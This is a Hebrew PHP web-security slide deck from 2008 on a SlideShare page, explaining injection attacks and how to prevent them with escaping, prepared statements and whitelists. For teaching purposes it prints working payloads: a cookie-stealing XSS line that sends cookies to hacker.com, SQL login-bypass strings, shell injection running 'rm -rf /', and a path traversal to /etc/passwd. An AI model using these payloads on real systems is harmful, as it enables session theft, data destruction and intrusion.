SlideShare a Scribd company logo
1 of 34
Download to read offline
‫, אפליקציות ווב ואבטחה‬PHP
                                          I ‫חלק‬
                                      ‫שחר עברון‬




               .Copyright © 2007, Zend Technologies Inc
‫מי? מה? מתי?‬


            ‫אבטחה ב- ‪ ,web‬וב- ‪ PHP‬במיוחד, היא נושא טעון‬         ‫•‬
 ‫‪ ‬מצד אחד, ה- ‪ web‬מכיל הרבה מאוד מידע, שחלק גדול ממנו הוא‬
              ‫רגיש / אישי / בעל ערך )כזה שמשתלם לגנוב אותו(‬
 ‫‪ ‬מצד שני, ה- ‪ web‬הוא סוג של ”מערב פרוע“ שבו אין חוקים והכל‬
                                                 ‫יכול לקרות‬

      ‫‪ PHP ‬היא אחת השפות הפופולריות ביותר ב- ‪ ,web‬בייחוד אצל‬
                       ‫מתכנתים מתחילים שפחות מודעים לסכנות‬
‫‪ ‬רוב האפליקציות שנכתבות ב- ‪ PHP‬הם תוכנה חופשית. לכן, קל יותר‬
                                           ‫לאתר פרצות אבטחה‬
 ‫‪ ‬בעבר, היו מספר נסיונות )לא מאוד מוצלחים( לפתור בעיות אבטחה‬
                                                 ‫ברמת השפה‬



       ‫8002 ,91 ‪| J an‬‬                             ‫‪ PHP‬ואבטחה‬   ‫2 |‬
‫כללים בסיסיים‬
‫מה זה אבטחה ובשביל מה זה טוב?‬

‫בשביל לפתור בעיות אבטחה, חשוב קודם כל להבין מה זה‬             ‫•‬
                              ‫בדיוק ”בעיות אבטחה“:‬

                        ‫אובדן פוטנציאלי של מידע רגיש‬      ‫‪‬‬
                       ‫אובדן פוטנציאלי של שעות עבודה‬      ‫‪‬‬
                            ‫אובדן פוטנציאלי של ‪uptime‬‬     ‫‪‬‬
                           ‫== אובדן פוטנציאלי של רווח‬     ‫‪‬‬

‫אבטחה היא אוסף של אמצעים שעלינו לנקות ע“מ למנוע‬               ‫•‬
                ‫או לצמצם אובדן פוטנציאלי של רווח‬



     ‫8002 ,91 ‪| J an‬‬                         ‫‪ PHP‬ואבטחה‬       ‫4 |‬
‫גישה נכונה לאבטחת אפליקציות ווב‬

                ‫אפליקציה לעולם לא תהיה מאובטחת ב-%001‬              ‫•‬
              ‫‪ ‬וגם אם כן, זו תהיה טעות קונספטואלית לחשוב ככה...‬

‫גישת עומק – נקיטה של מספר אמצעים חופפים כדי להשיג‬                  ‫•‬
                                 ‫אבטחה טובה יותר‬

                        ‫מודעות למה שאנחנו לא מודעים אליו‬           ‫•‬
  ‫‪ ‬היכולת לתקן פרצות אבטחה עתידיות יותר חשובה מקוד %001‬
                                               ‫מאובטח‬
                          ‫• == ארכיטקטורה יותר חשובה מאבטחה!‬




      ‫8002 ,91 ‪| J an‬‬                                 ‫‪ PHP‬ואבטחה‬   ‫5 |‬
‫לעולם אסור לבטוח במידע חיצוני!‬

                           ‫אבל מה זה בדיוק מידע חיצוני?‬               ‫•‬
                                   ‫‪GET, POST, COOKIE‬‬              ‫‪‬‬
                                        ‫‪FILES, SERVER‬‬             ‫‪‬‬
                       ‫‪ ,ENV‬בסיס נתונים, קבצים על הדיסק ‬          ‫‪‬‬
                                 ‫“אם יש ספק – אין ספק!“‬           ‫‪‬‬

                               ‫מה עושים עם מידע חיצוני?‬               ‫•‬
                  ‫‪ ‬סינון – ‪ ,filtering‬בדיקת תקינות - ‪validation‬‬
   ‫• רשימה לבנה – ‪ – whitelisting‬לדוגמה ‪ HTML Tags‬מותרים‬
‫• רשימה שחורה – ‪ – blacklisting‬לדוגמה מילים אסורות בפורום‬

                  ‫‪ ‬חילוּף - התאמה לפורמט נדרש - ‪escaping‬‬


‫8002 ,91 ‪| J an‬‬                                      ‫‪ PHP‬ואבטחה‬       ‫6 |‬
‫סביבת ‪ PHP‬מאובטחת‬
‫‪display_errors‬‬

                                               ‫בפיתוח: ‪On‬‬    ‫•‬
                                ‫‪ ‬קוד נקי לחלוטין משגיאות‬
          ‫‪ ‬הודעות ‪ NOTICE‬מעידות לעיתים קרובות על ”חורי‬
      ‫אבטחה“ )לדוגמה: הודעות על משתנים לא מאותחלים(‬


                                            ‫בזמן ריצה: ‪Off‬‬   ‫•‬
              ‫‪ ‬מניעה של זליגת מידע פנימי אל המבקרים באתר‬
                                      ‫‪ ‬זה לא נראה טוב ;-(‬




‫8002 ,91 ‪| J an‬‬                                 ‫‪ PHP‬ואבטחה‬   ‫8 |‬
‫‪register_globals‬‬

  ‫כאשר פועל, ‪ PHP‬ירשום משתנים ב-‪ global scope‬באופן‬            ‫•‬
        ‫אוטומטי לכל משתנה ‪ GET, POST, COOKIE‬וכו'.‬
   ‫לא נמצא בשימוש רב בשנים האחרונות )מכובה כברירת‬             ‫•‬
      ‫מחדל מאז 2.4( אבל עדיין אפשר למצוא אפליקציות‬
                         ‫ש“סומכות“ על ‪.register_globals‬‬
‫פותח פרצות אבטחה פוטניאליות רבות – מאפשר ”הזרקה“‬              ‫•‬
                 ‫של משתנים לתוך ה- ‪global namespace‬‬
          ‫‪ ‬אם חייבים להתשמש – חובה לאתחל את כל המשתנים‬
                                        ‫)‪(! E_NOTICE‬‬
                             ‫הרגל רע גם מסיבות אחרות:‬         ‫•‬
                                   ‫‪ ‬קוד לא נייד )‪(portable‬‬
                                 ‫‪ Deprecated ‬ב- 0.6 ‪PHP‬‬

      ‫8002 ,91 ‪| J an‬‬                            ‫‪ PHP‬ואבטחה‬   ‫9 |‬
‫‪magic_quotes_gpc‬‬

‫אם מופעל, ‪ PHP‬יוסיף לוכסן )‪ (backslash‬לפני כל גרש )'(,‬                  ‫•‬
‫גרשיים )”(, לוכסן אחורי )( ו- ‪ null‬שנכנסים ב- ‪GET, POST‬‬
                                            ‫ו- ‪.COOKIE‬‬
  ‫“פיצ'ר“ שהיה אמור למנוע ‪ SQL Injections‬ברמת השפה‬                      ‫•‬
                         ‫בפועל, מספק פתרון חלקי ביותר‬                   ‫•‬
                                          ‫‪ ‬אין תמיכה בקידודים שונים‬
                               ‫‪ ‬אין תמיכה בכל בסיסי הנתונים השונים‬
                   ‫‪ ‬תמיד עדיף להשתמש בפונקציית ‪ escaping‬ייעודית‬
                              ‫יש עוד סיבות לכבות חוץ מאבטחה‬             ‫•‬
                                              ‫‪ ‬רע מבחינת ביצועים‬
                                   ‫‪ ‬לא פורטבילי, ייבוטל ב- 0.6 ‪PHP‬‬
                  ‫בקיצור, לא להתבסס על ‪magic_quotes_gpc‬‬                 ‫•‬
       ‫8002 ,91 ‪| J an‬‬                                    ‫‪ PHP‬ואבטחה‬   ‫01 |‬
‫*_‪allow_url‬‬

                                            ‫‪allow_url_fopen‬‬             ‫•‬
‫‪ ‬מאפשרת פתיחה של קבצים מרוחקים בעזרת ה- ‪stream wrappers‬‬
    ‫הנתמכים )בד"כ ‪ HTTP, FTP, SSH‬וכו'( בפונקציות התומכות בכך‬
                          ‫)‪ ,fopen, file_get_contents‬ועוד רבות(.‬
            ‫‪ ‬פועל כברירת מחדל, כדאי בהחלט לכבות אם לא צריך‬


                                          ‫‪allow_url_include‬‬             ‫•‬
    ‫מאפשרת הרצה של קוד ‪ PHP‬מרוחק דרך ‪stream wrappers‬‬               ‫‪‬‬
                                          ‫קיים מאז 2.5 ‪PHP‬‬         ‫‪‬‬
                                          ‫כבוי כברירת מחדל‬         ‫‪‬‬
                           ‫‪Code injection waiting to happen‬‬        ‫‪‬‬
         ‫איזה סיבה לעזאזל יש למישהו להפעיל דבר כזה?!?!‬             ‫‪‬‬

        ‫8002 ,91 ‪| J an‬‬                               ‫‪ PHP‬ואבטחה‬       ‫11 |‬
‫התקפות הזרקה‬
Injection Attacks
‫‪Cross-Site Scripting - XSS‬‬

                         ‫הזרקה של קוד ‪client-side‬‬       ‫•‬
                                            ‫‪HTML ‬‬
                                             ‫‪CSS ‬‬
                                        ‫‪JavaScript ‬‬

                          ‫אחת החולשות הנפוצות ביותר‬     ‫•‬
‫התוקף שותל קוד זדוני שיפורש ויוצג / יופעל ע“י הדפדפן‬    ‫•‬
                                           ‫של הקורבן‬
  ‫יכולה לשמש כ“מקפצה“ להתקפות נוספות – השחתה,‬           ‫•‬
    ‫‪ ,phishing, session hijacking‬גניבת סיסמאות וכו'‬
  ‫קבועה – ‪ persistent‬לעומת זמנית – ‪non-persistent‬‬       ‫•‬

   ‫8002 ,91 ‪| J an‬‬                        ‫‪ PHP‬ואבטחה‬   ‫31 |‬
‫ - דוגמה‬XSS

  XSS -‫כל הדפסה של קלט מהמשתמש ללא חילוף פגיעה ל‬                    •
<body>
    <h1>Welcome to my site</h1>
    <form>
        <fieldset title="Search">
            Search for: <input type="text" name="q" value="<?php echo
                (isset($_GET['q']) ? $_GET['q'] : ''); ?>" />&nbsp;
            <input type="submit" value="Search" />
        </fieldset>
    </form>
<?php if (isset($_GET['q'])): ?>
    <h2>Search results for "<?php echo $_GET['q']; ?>":</h2>
    <ul>
        <li>...</li>
        <li>...</li>
        <li>...</li>
    </ul>
<?php endif; ?>
</body>

          | J an 19, 2008                             ‫ ואבטחה‬PHP   | 14
‫ - דוגמה‬XSS

      :JavaScript ‫ בעזרת הזרקת קוד‬session ID ‫גניבת‬             •




 <script>alert(document.cookie);</script>
 <script>i=new Image(); i.src='http://hacker.com/owned.php?' +
  document.cookie;</script>

     | J an 19, 2008                             ‫ ואבטחה‬PHP   | 15
‫‪Cross-Site Scripting - XSS‬‬

‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬                       ‫•‬
                                      ‫חילוף ייעודיות:‬
                                              ‫‪htmlspecialchars() ‬‬
                                                   ‫‪htmlentities() ‬‬

‫במקרים בהם רוצים להרשות ‪ ,HTML‬חובה לסנן את הקלט‬                          ‫•‬
                               ‫לפי "רשימה לבנה"‬
‫‪ ‬להרשות רק תגים מסויימים - לדוגמה ‪strong, em, u, div, a, span‬‬
         ‫‪ ‬להרשות רק ‪ attributes‬מסוימים - לדוגמה ‪ href‬ולא ‪style‬‬
                                 ‫‪ ‬יש ספריות מוכנות לסינון ‪HTML‬‬
                                          ‫• ‪http://htmlpurifier.org‬‬
                        ‫‪ ‬אפשר לבצע לבד בקלות בעזרת ‪ tidy‬או ‪DOM‬‬

      ‫8002 ,91 ‪| J an‬‬                                      ‫‪ PHP‬ואבטחה‬   ‫61 |‬
‫ – דוגמה מתוקנת‬XSS

                            ‫ לפני הדפסה‬htmlspecialchars -‫שימוש ב‬     •
   Search for: <input type="text" name="q" value="<?php
     echo (isset($_GET['q']) ?
       htmlspecialchars($_GET['q'], ENT_QUOTES) : ''); ?>" />&nbsp;

    <input type="submit" value="Search" />
  </fieldset>
  </form>
<?php if (isset($_GET['q'])): ?>
  <h2>Search results for "<?php
    echo htmlspecialchars($_GET['q']); ?>":</h2>
  <ul>
    <li>...</li>
    <li>...</li>      <li>...</li>
  </ul>
<?php endif; ?>




          | J an 19, 2008                              ‫ ואבטחה‬PHP   | 17
‫‪SQL Injection‬‬

‫הזרקה של קוד לקלט מתוך ידיעה שהקלט יישלך לבסיס‬                   ‫•‬
                        ‫הנתונים ויפורש שם כקוד ‪SQL‬‬
             ‫יכול להוות בסיס לפעילויות שונות, לדוגמה:‬            ‫•‬
                      ‫עקיפה של סיסמאות ושינוי הרשאות‬        ‫‪‬‬
                                           ‫שינוי נתונים‬     ‫‪‬‬
                       ‫השחתה של בסיס הנתונים )‪(DOS‬‬          ‫‪‬‬
                        ‫מחיקה של בסיס הנתונים )‪(DOS‬‬         ‫‪‬‬

‫בעיה נפוצה מאוד – הרבה מאוד אפליקציות ווב מעבירות‬                ‫•‬
                    ‫קלט מהמשתמש אל בסיס הנתונים‬



    ‫8002 ,91 ‪| J an‬‬                            ‫‪ PHP‬ואבטחה‬       ‫81 |‬
‫ – דוגמה‬SQL Injection

  ‫ ללא חילוף / בדיקה‬SQL -‫שליחה של מידע חיצוני כחלק מ‬              •
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT 1 FROM users " .
  "WHERE user = '$username' AND password = MD5('$password')";

$res = mysql_query($sql);


          :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬              •
                                    :‫ עקיפה של מנגנון הסיסמה‬
username=' OR '' = '
password=') OR MD5('') = MD5('


     ‫, שינוי נתונים‬DOS ,‫ ניתן לבצע גם השחתה של בסיס הנתונים‬
                                            .‫וסיסמאות ועוד‬

         | J an 19, 2008                            ‫ ואבטחה‬PHP   | 19
SQL Injection

:‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת חילוף‬                       •
                     ‫ ייעודיות של בסיס הנתונים‬escaping ‫ פונקציות‬
                                   mysql_real_escape_string •
                                          pg_escape_string •
                                                        '‫• וכו‬
                                       Casting to integer / float 
                                                 PDO-<quote() 
                                   !‫ לא טוב מספיק‬addslashes() 


                                       Prepared Statements             •
                                               PDO, MySQLi 
                         ‫ בהרבה מקרים עדיף גם מבחינת ביצועים‬


   | J an 19, 2008                                      ‫ ואבטחה‬PHP    | 20
‫ – קוד תקין‬SQL Injection

                                               mysql – ‫חילוף‬       •
$con = mysql_connect('....');
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);

$sql = "SELECT 1 FROM users " .
  "WHERE user = '$username' AND password = MD5('$password')";

$res = mysql_query($sql);



                                                PDO – ‫חילוף‬        •
$pdo = new PDO("mysql:dbname=mydb", 'user', 'password');
$username = $pdo->quote($_POST['username']);
$password = $pdo->quote($_POST['password']);




         | J an 19, 2008                             ‫ ואבטחה‬PHP   | 21
‫ – קוד תקין‬SQL Injection

                                            Integer -‫המרה ל‬       •
$user_id = (int) $_GET['user_id'];
$sql = "SELECT * FROM users WHERE id = $user_id";




                                  Prepared statement - PDO        •
$pdo = new PDO("mysql:dbname=mydb", 'user', 'password');

$stmt = $pdo->prepare(
  "SELECT 1 FROM users " .
  "WHERE user = :username AND password = MD5(:password)"
);

$result = $stmt->execute(array(
  'username' => $username,
  'password' => $password)
);

         | J an 19, 2008                            ‫ ואבטחה‬PHP   | 22
‫‪Shell Command Injection‬‬

   ‫הזרקה של קוד אל "מערכת ההפעלה" תוך ניצול של‬            ‫•‬
                ‫פקודות ‪ PHP‬שמריצות פקודות מערכת‬
                               ‫‪ ‬אופרטור ‪(``) backtick‬‬
                                      ‫‪ ‬משפחת )(‪exec‬‬


‫לא נפוץ מאוד – אבל חשוב מאוד להיזהר כאשר מכניסים‬          ‫•‬
 ‫פרמטרים לתוך פקודות אלו, מפני שהסכנות גדולות מאוד‬




    ‫8002 ,91 ‪| J an‬‬                         ‫‪ PHP‬ואבטחה‬   ‫32 |‬
‫ - דוגמה‬Shell Injection

                            ‫שימוש במידע חיצוני בפקודות מערכת‬          •
// Get a listing of a public directory
$folder = $_GET['path'];
echo '<pre>';
passthru("ls -l /ftp/public/$folder");
echo '</pre>';




         :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬                   •
                    :‫ מחיקה של כל הקבצים שיש לשרת גישה אליהם‬
path=foo; rm -rf /
                                        :Denial of Service 
path=foo; sleep 315360000

                      ‫ ...בעיקרון ניתן להריץ כמעט כל פקודת מערכת‬

        | J an 19, 2008                                 ‫ ואבטחה‬PHP   | 24
‫‪Shell Command Injection‬‬

‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬                 ‫•‬
                                      ‫חילוף ייעודיות:‬
                                             ‫‪escapeshellarg() ‬‬
                                            ‫‪escapeshellcmd() ‬‬
                       ‫‪ ‬ההבדל ביניהם – השניה לא מחליפה רווחים‬


‫אם מכניסים קלט מהמשתמש לתוך פקודות מערכת, כדאי‬                     ‫•‬
  ‫מאוד להשתמש ב- ‪ whitelist filtering‬ובווידוא שהקלט‬
                                                ‫תקין‬




     ‫8002 ,91 ‪| J an‬‬                                 ‫‪ PHP‬ואבטחה‬   ‫52 |‬
‫ – קוד תקין‬Shell Injection

                                           ‫חילוף – פרמטר בודד‬       •
$folder = escapeshellarg($_GET['path']);
echo '<pre>';
passthru("ls -l /ftp/public/$folder");
echo '</pre>';




                                            ‫חילוף – כל הפקודה‬       •
$cmd = escapeshellcmd("ls -l /ftp/public/$folder");
echo '<pre>';
passthru($cmd);
echo '</pre>';




         | J an 19, 2008                              ‫ ואבטחה‬PHP   | 26
‫ – קוד תקין‬Shell Injection

                                        ‫סינון לפי רשימה לבנה‬     •
// White-list filtering:
$allowed_paths = array(
    'videos', 'images', 'music',
    'books', 'uploads');

if (in_array($_GET['path'], $allowed_paths)) {
    $folder = $_GET['path'];

    echo '<pre>';
    passthru("ls -l /ftp/public/$folder");
    echo '</pre>';
}




         | J an 19, 2008                           ‫ ואבטחה‬PHP   | 27
‫‪PHP Code Injection‬‬

                          ‫הזרקה של קוד ‪ PHP‬לתוך התוכנית‬              ‫•‬
                           ‫פונקציות שצריך לשים אליהם לב:‬             ‫•‬
               ‫‪ ‬קריאות ל- ‪ include‬או ‪ require‬עם שם קובץ משתנה‬
                        ‫• רגיש בעיקר כש- ‪allow_url_include=On‬‬
                                                        ‫‪eval() ‬‬
                                         ‫‪ preg_replace() ‬עם ‪/e‬‬
                                             ‫‪create_function() ‬‬

‫‪ ‬כאשר משתמשים בפונקציות אלו עם משתנים מבחוץ, חשוב מאוד‬
                        ‫לבצע ‪ validation‬ו- ‪white-list filtering‬‬




      ‫8002 ,91 ‪| J an‬‬                                  ‫‪ PHP‬ואבטחה‬   ‫82 |‬
‫‪ - PHP Code Injection‬דוגמה‬

                               ‫קריאת קבצים ע“י ניצול ‪include‬‬     ‫•‬
‫;]'‪$tpl = $_GET['template‬‬
‫;‪include 'templates/' . $tpl‬‬




          ‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה:‬             ‫•‬
              ‫‪ ‬קבלת רשימה של כל המשתמשים במערכת ההפעלה:‬
 ‫‪template=../../../../../../../../etc/passwd‬‬


      ‫אם ‪ allow_url_include‬מופעל, קוד זה מאפשר‬                   ‫•‬
                 ‫הרצה של קוד ‪ PHP‬שרירותי על השרת‬

         ‫8002 ,91 ‪| J an‬‬                           ‫‪ PHP‬ואבטחה‬   ‫92 |‬
‫ – קוד תקין‬PHP Code Injection

                             :‫המנעות ע“י סינון לפי רשימה לבנה‬     •
$templates   = array(
    'blue'   => 'templates/blue.phtml',
    'aqua'   => 'templates/aqua.phtml',
    'ugly'   => 'templates/ugly.phtml'
);

$tpl = (isset($templates[$_GET['template']]) ?
    $templates[$_GET['template']] : 'templates/blue.phtml');


include $tpl;




 ‫באופן כללי רצוי להנע לחלוטין משימוש במידע חיצוני כחלק‬            •
                        '‫ וכו‬include, eval ‫מפקודות כמו‬

        | J an 19, 2008                             ‫ ואבטחה‬PHP   | 30
‫סיכום – התקפות הזרקה‬

      ‫התקפות הזרקה הם כנראה הנפוצות ביותר ב- ‪web‬‬                       ‫•‬
                      ‫‪ ‬החדשות הטובות: יחסית קל לאתר ולפתור אותן ‬


‫כל התקפות ההזרקה דומות באופיין, וגם באופן הטיפול בהן‬                   ‫•‬
                  ‫"דע מאין בא ה- ‪ data‬ולאן הוא הולך“‬                   ‫•‬
                           ‫‪ ‬האם אפשר לבטוח במקור הנתונים?‬
              ‫‪ ‬מה הפורמט הבטוח שבו אפשר להשתמש בנתונים?‬


  ‫טיפול בהתקפות הזרקה ע“י סינון קלט טוב רק במקרים‬                      ‫•‬
                                          ‫מסוימים‬
                                ‫‪ ‬בד“כ חילוף )‪ (output escaping‬עדיף‬


    ‫8002 ,91 ‪| J an‬‬                                      ‫‪ PHP‬ואבטחה‬   ‫13 |‬
‫שאלות?‬
‫בחלק ‪II‬‬

                               ‫התקפות ‪Session‬‬         ‫•‬
                               ‫‪Session Injection ‬‬
                              ‫‪Session Hijacking ‬‬

                           ‫טעויות לוגיות ותכנותיות‬    ‫•‬
                                        ‫‪CSRF ‬‬
                           ‫‪ ‬חשיפת קבצים סטטיים‬

                     ‫גישות ואמצעי אבטחה כלליים‬        ‫•‬

                  ‫אבטחה בסביבת ‪shared hosting‬‬         ‫•‬

‫8002 ,91 ‪| J an‬‬                         ‫‪ PHP‬ואבטחה‬   ‫33 |‬
‫תודה רבה‬
  ‫ושנה טובה!‬

More Related Content

Similar to PHP ואבטחה - חלק ראשון

Fire Wall Solutions Final
Fire Wall Solutions FinalFire Wall Solutions Final
Fire Wall Solutions Finalhaimkarel
 
סמינר: הילל קוברובסקי - הגנת סייבר ברמת תחנת הקצה
סמינר: הילל קוברובסקי - הגנת סייבר ברמת תחנת הקצהסמינר: הילל קוברובסקי - הגנת סייבר ברמת תחנת הקצה
סמינר: הילל קוברובסקי - הגנת סייבר ברמת תחנת הקצהHillel Kobrovski
 
החלטתם שהארגון שלכם צריך אוטומציה חכמה. מה עכשיו?
החלטתם שהארגון שלכם צריך אוטומציה חכמה. מה עכשיו?החלטתם שהארגון שלכם צריך אוטומציה חכמה. מה עכשיו?
החלטתם שהארגון שלכם צריך אוטומציה חכמה. מה עכשיו?Boris Chernyak
 
Qa extreme2011 from classic lc to agile and the testers types of the future_b...
Qa extreme2011 from classic lc to agile and the testers types of the future_b...Qa extreme2011 from classic lc to agile and the testers types of the future_b...
Qa extreme2011 from classic lc to agile and the testers types of the future_b...Eran Kinsbrunner
 
סדנת מבוא: הגנת סייבר למבקרי מערכות מידע
סדנת מבוא: הגנת סייבר למבקרי מערכות מידעסדנת מבוא: הגנת סייבר למבקרי מערכות מידע
סדנת מבוא: הגנת סייבר למבקרי מערכות מידעHillel Kobrovski
 
Top 10 mistakes running a windows network
Top 10 mistakes   running a windows networkTop 10 mistakes   running a windows network
Top 10 mistakes running a windows networkRafel Ivgi
 
Introduction To Malware Analysis & Reverse Engineering
Introduction To Malware Analysis & Reverse EngineeringIntroduction To Malware Analysis & Reverse Engineering
Introduction To Malware Analysis & Reverse Engineeringyarden hanan
 
6 sql explorer - powershell dba
6   sql explorer - powershell dba6   sql explorer - powershell dba
6 sql explorer - powershell dbasqlserver.co.il
 
משתמשי קצה - החוליה החלשה
משתמשי קצה  - החוליה החלשה משתמשי קצה  - החוליה החלשה
משתמשי קצה - החוליה החלשה Omri Moyal
 
Introduction to malware analysis &amp; reverse engineering
Introduction to malware analysis &amp; reverse engineeringIntroduction to malware analysis &amp; reverse engineering
Introduction to malware analysis &amp; reverse engineeringyarden hanan
 
Introduction to malware analysis &amp; reverse engineering
Introduction to malware analysis &amp; reverse engineeringIntroduction to malware analysis &amp; reverse engineering
Introduction to malware analysis &amp; reverse engineeringyarden hanan
 
Ciso back to the future - network vulnerabilities
Ciso   back to the future - network vulnerabilitiesCiso   back to the future - network vulnerabilities
Ciso back to the future - network vulnerabilitiesRafel Ivgi
 
וובסנס ליאור ארבל
וובסנס   ליאור ארבלוובסנס   ליאור ארבל
וובסנס ליאור ארבלlihig
 
מצגת לשולחן עגול מנהלי אבטחת מידע 2.0 lior
מצגת לשולחן עגול מנהלי אבטחת מידע 2.0 liorמצגת לשולחן עגול מנהלי אבטחת מידע 2.0 lior
מצגת לשולחן עגול מנהלי אבטחת מידע 2.0 liorArthur Schmunk
 
Powershell - ISUG 99 (Aviad Deri)
Powershell  - ISUG 99 (Aviad Deri)Powershell  - ISUG 99 (Aviad Deri)
Powershell - ISUG 99 (Aviad Deri)sqlserver.co.il
 
HP Client Virtualization Services
HP Client Virtualization ServicesHP Client Virtualization Services
HP Client Virtualization Servicesgadi_fe
 
Podcast - Ask Me Cyber - Session 5 - Professional Training as a Network Eecur...
Podcast - Ask Me Cyber - Session 5 - Professional Training as a Network Eecur...Podcast - Ask Me Cyber - Session 5 - Professional Training as a Network Eecur...
Podcast - Ask Me Cyber - Session 5 - Professional Training as a Network Eecur...Hillel Kobrovski
 
מהי אנליזה סטטית?
מהי אנליזה סטטית?מהי אנליזה סטטית?
מהי אנליזה סטטית?TrinitySB
 

Similar to PHP ואבטחה - חלק ראשון (20)

אבטחת מידע לעובדים בארגון
אבטחת מידע לעובדים בארגוןאבטחת מידע לעובדים בארגון
אבטחת מידע לעובדים בארגון
 
Fire Wall Solutions Final
Fire Wall Solutions FinalFire Wall Solutions Final
Fire Wall Solutions Final
 
אחסון מידע - ל-websql ו-indexdb רן בר-זיק
אחסון מידע - ל-websql ו-indexdb רן בר-זיקאחסון מידע - ל-websql ו-indexdb רן בר-זיק
אחסון מידע - ל-websql ו-indexdb רן בר-זיק
 
סמינר: הילל קוברובסקי - הגנת סייבר ברמת תחנת הקצה
סמינר: הילל קוברובסקי - הגנת סייבר ברמת תחנת הקצהסמינר: הילל קוברובסקי - הגנת סייבר ברמת תחנת הקצה
סמינר: הילל קוברובסקי - הגנת סייבר ברמת תחנת הקצה
 
החלטתם שהארגון שלכם צריך אוטומציה חכמה. מה עכשיו?
החלטתם שהארגון שלכם צריך אוטומציה חכמה. מה עכשיו?החלטתם שהארגון שלכם צריך אוטומציה חכמה. מה עכשיו?
החלטתם שהארגון שלכם צריך אוטומציה חכמה. מה עכשיו?
 
Qa extreme2011 from classic lc to agile and the testers types of the future_b...
Qa extreme2011 from classic lc to agile and the testers types of the future_b...Qa extreme2011 from classic lc to agile and the testers types of the future_b...
Qa extreme2011 from classic lc to agile and the testers types of the future_b...
 
סדנת מבוא: הגנת סייבר למבקרי מערכות מידע
סדנת מבוא: הגנת סייבר למבקרי מערכות מידעסדנת מבוא: הגנת סייבר למבקרי מערכות מידע
סדנת מבוא: הגנת סייבר למבקרי מערכות מידע
 
Top 10 mistakes running a windows network
Top 10 mistakes   running a windows networkTop 10 mistakes   running a windows network
Top 10 mistakes running a windows network
 
Introduction To Malware Analysis & Reverse Engineering
Introduction To Malware Analysis & Reverse EngineeringIntroduction To Malware Analysis & Reverse Engineering
Introduction To Malware Analysis & Reverse Engineering
 
6 sql explorer - powershell dba
6   sql explorer - powershell dba6   sql explorer - powershell dba
6 sql explorer - powershell dba
 
משתמשי קצה - החוליה החלשה
משתמשי קצה  - החוליה החלשה משתמשי קצה  - החוליה החלשה
משתמשי קצה - החוליה החלשה
 
Introduction to malware analysis &amp; reverse engineering
Introduction to malware analysis &amp; reverse engineeringIntroduction to malware analysis &amp; reverse engineering
Introduction to malware analysis &amp; reverse engineering
 
Introduction to malware analysis &amp; reverse engineering
Introduction to malware analysis &amp; reverse engineeringIntroduction to malware analysis &amp; reverse engineering
Introduction to malware analysis &amp; reverse engineering
 
Ciso back to the future - network vulnerabilities
Ciso   back to the future - network vulnerabilitiesCiso   back to the future - network vulnerabilities
Ciso back to the future - network vulnerabilities
 
וובסנס ליאור ארבל
וובסנס   ליאור ארבלוובסנס   ליאור ארבל
וובסנס ליאור ארבל
 
מצגת לשולחן עגול מנהלי אבטחת מידע 2.0 lior
מצגת לשולחן עגול מנהלי אבטחת מידע 2.0 liorמצגת לשולחן עגול מנהלי אבטחת מידע 2.0 lior
מצגת לשולחן עגול מנהלי אבטחת מידע 2.0 lior
 
Powershell - ISUG 99 (Aviad Deri)
Powershell  - ISUG 99 (Aviad Deri)Powershell  - ISUG 99 (Aviad Deri)
Powershell - ISUG 99 (Aviad Deri)
 
HP Client Virtualization Services
HP Client Virtualization ServicesHP Client Virtualization Services
HP Client Virtualization Services
 
Podcast - Ask Me Cyber - Session 5 - Professional Training as a Network Eecur...
Podcast - Ask Me Cyber - Session 5 - Professional Training as a Network Eecur...Podcast - Ask Me Cyber - Session 5 - Professional Training as a Network Eecur...
Podcast - Ask Me Cyber - Session 5 - Professional Training as a Network Eecur...
 
מהי אנליזה סטטית?
מהי אנליזה סטטית?מהי אנליזה סטטית?
מהי אנליזה סטטית?
 

More from Shahar Evron

Best Practices in PHP Application Deployment
Best Practices in PHP Application DeploymentBest Practices in PHP Application Deployment
Best Practices in PHP Application DeploymentShahar Evron
 
PHP and Zend Framework on Windows
PHP and Zend Framework on WindowsPHP and Zend Framework on Windows
PHP and Zend Framework on WindowsShahar Evron
 
Zend Server: A Guided Tour
Zend Server: A Guided TourZend Server: A Guided Tour
Zend Server: A Guided TourShahar Evron
 
Zend Server: Scalability & Performance
Zend Server: Scalability & PerformanceZend Server: Scalability & Performance
Zend Server: Scalability & PerformanceShahar Evron
 
Scaling PHP Applications with Zend Platform
Scaling PHP Applications with Zend PlatformScaling PHP Applications with Zend Platform
Scaling PHP Applications with Zend PlatformShahar Evron
 
Zend Framework Components for non-framework Development
Zend Framework Components for non-framework DevelopmentZend Framework Components for non-framework Development
Zend Framework Components for non-framework DevelopmentShahar Evron
 
PHP - עבר הווה ועתיד
PHP - עבר הווה ועתידPHP - עבר הווה ועתיד
PHP - עבר הווה ועתידShahar Evron
 
Content Indexing with Zend_Search_Lucene
Content Indexing with Zend_Search_LuceneContent Indexing with Zend_Search_Lucene
Content Indexing with Zend_Search_LuceneShahar Evron
 
Building Scalable Development Environments
Building Scalable Development EnvironmentsBuilding Scalable Development Environments
Building Scalable Development EnvironmentsShahar Evron
 

More from Shahar Evron (10)

Best Practices in PHP Application Deployment
Best Practices in PHP Application DeploymentBest Practices in PHP Application Deployment
Best Practices in PHP Application Deployment
 
PHP and Zend Framework on Windows
PHP and Zend Framework on WindowsPHP and Zend Framework on Windows
PHP and Zend Framework on Windows
 
Zend Server: A Guided Tour
Zend Server: A Guided TourZend Server: A Guided Tour
Zend Server: A Guided Tour
 
Zend Server: Scalability & Performance
Zend Server: Scalability & PerformanceZend Server: Scalability & Performance
Zend Server: Scalability & Performance
 
Intro To Couch Db
Intro To Couch DbIntro To Couch Db
Intro To Couch Db
 
Scaling PHP Applications with Zend Platform
Scaling PHP Applications with Zend PlatformScaling PHP Applications with Zend Platform
Scaling PHP Applications with Zend Platform
 
Zend Framework Components for non-framework Development
Zend Framework Components for non-framework DevelopmentZend Framework Components for non-framework Development
Zend Framework Components for non-framework Development
 
PHP - עבר הווה ועתיד
PHP - עבר הווה ועתידPHP - עבר הווה ועתיד
